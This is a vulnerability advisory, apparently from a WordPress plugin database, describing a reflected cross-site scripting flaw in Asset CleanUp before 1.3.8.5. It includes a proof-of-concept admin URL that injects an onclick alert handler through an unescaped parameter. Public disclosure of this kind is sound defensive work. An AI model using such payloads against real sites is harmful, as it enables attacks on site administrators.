WordPress Plugin Vulnerabilities

Asset CleanUp < 1.3.8.5 - Reflected Cross-Site Scripting

Description

The plugin does not escape the wpacu_selected_sub_tab_area parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://exampe.com/wp-admin/admin.php?page=wpassetcleanup_settings&wpacu_selected_sub_tab_area=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22

Affects Plugins

Fixed in 1.3.8.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-01-03 (about 2 years ago)
Added
2022-01-03 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)

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